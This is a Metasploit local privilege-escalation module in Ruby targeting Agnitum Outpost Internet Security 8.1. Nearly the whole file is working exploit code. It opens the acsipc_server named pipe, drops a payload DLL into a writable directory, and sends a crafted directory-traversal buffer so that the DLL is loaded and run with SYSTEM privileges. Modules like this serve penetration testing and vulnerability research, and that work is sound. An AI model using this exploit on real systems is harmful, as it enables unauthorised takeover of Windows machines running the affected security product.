require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/windows/priv'
require 'msf/core/post/windows/process'
class Metasploit3 < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Post::Common
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info, {
'Name' => 'Agnitum Outpost Internet Security Local Privilege Escalation',
'Description' => %q{
This module exploits a directory traversal vulnerability on Agnitum Outpost Internet
Security 8.1. The vulnerability exists in the acs.exe component, allowing the user to load
load arbitrary DLLs through the acsipc_server named pipe, and finally execute arbitrary
code with SYSTEM privileges. This module has been tested successfully on Windows 7 SP1 with
Agnitum Outpost Internet Security 8.1 (32 bits and 64 bits versions).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Ahmad Moghimi',
'juan vazquez'
],
'Arch' => ARCH_X86,
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'Privileged' => true,
'Targets' =>
[
[ 'Agnitum Outpost Internet Security 8.1', { } ],
],
'Payload' =>
{
'Space' => 2048,
'DisableNops' => true
},
'References' =>
[
[ 'OSVDB', '96208' ],
[ 'EDB', '27282' ],
[ 'URL', 'http://mallocat.com/a-journey-to-antivirus-escalation/' ]
],
'DisclosureDate' => 'Aug 02 2013',
'DefaultTarget' => 0
}))
register_options([
OptString.new("WritableDir", [ false, "A directory where we can write files (%TEMP% by default)" ]),
OptInt.new("DEPTH", [ true, "Traversal depth", 3 ])
], self.class)
end
def junk
return rand_text_alpha(4).unpack("V").first
end
def open_named_pipe(pipe)
invalid_handle_value = 0xFFFFFFFF
r = session.railgun.kernel32.CreateFileA(pipe, "GENERIC_READ | GENERIC_WRITE", 0x3, nil, "OPEN_EXISTING", "FILE_FLAG_WRITE_THROUGH | FILE_ATTRIBUTE_NORMAL", 0)
handle = r['return']
if handle == invalid_handle_value
return nil
end
return handle
end
def write_named_pipe(handle, dll_path, dll_name)
traversal_path = "..\\" * datastore["DEPTH"]
traversal_path << dll_path.gsub(/^[a-zA-Z]+:\\/, "")
traversal_path << "\\#{dll_name}"
path = Rex::Text.to_unicode(traversal_path)
data = "\x00" * 0x11
data << path
data << "\x00\x00"
data << "\x00\x00\x00"
buf = [0xd48a445e, 0x466e1597, 0x327416ba, 0x68ccde15].pack("V*")
buf << [0x17].pack("V")
buf << [junk].pack("V")
buf << [data.length].pack("V")
buf << [0, 0, 0].pack("V*")
buf << data
w = client.railgun.kernel32.WriteFile(handle, buf, buf.length, 4, nil)
if w['return'] == false
print_error("The was an error writing to disk, check permissions")
return nil
end
return w['lpNumberOfBytesWritten']
end
def check
handle = open_named_pipe("\\\\.\\pipe\\acsipc_server")
if handle.nil?
return Exploit::CheckCode::Safe
end
session.railgun.kernel32.CloseHandle(handle)
return Exploit::CheckCode::Detected
end
def exploit
temp_dir = ""
print_status("Opening named pipe...")
handle = open_named_pipe("\\\\.\\pipe\\acsipc_server")
if handle.nil?
fail_with(Failure::NoTarget, "\\\\.\\pipe\\acsipc_server named pipe not found")
else
print_good("\\\\.\\pipe\\acsipc_server found! Proceeding...")
end
if datastore["WritableDir"] and not datastore["WritableDir"].empty?
temp_dir = datastore["WritableDir"]
else
temp_dir = expand_path("%TEMP%")
end
print_status("Using #{temp_dir} to drop malicious DLL...")
begin
cd(temp_dir)
rescue Rex::Post::Meterpreter::RequestError
session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Config, "Failed to use the #{temp_dir} directory")
end
print_status("Writing malicious DLL to remote filesystem")
write_path = pwd
dll_name = "#{rand_text_alpha(10 + rand(10))}.dll"
begin
write_file(dll_name, generate_payload_dll)
register_file_for_cleanup("#{write_path}\\#{dll_name}")
rescue Rex::Post::Meterpreter::RequestError
session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Config, "Failed to drop payload into #{temp_dir}")
end
print_status("Exploiting through \\\\.\\pipe\\acsipc_server...")
bytes = write_named_pipe(handle, write_path, dll_name)
session.railgun.kernel32.CloseHandle(handle)
if bytes.nil?
fail_with(Failure::Unknown, "Failed while writing to \\\\.\\pipe\\acsipc_server")
end
end
end
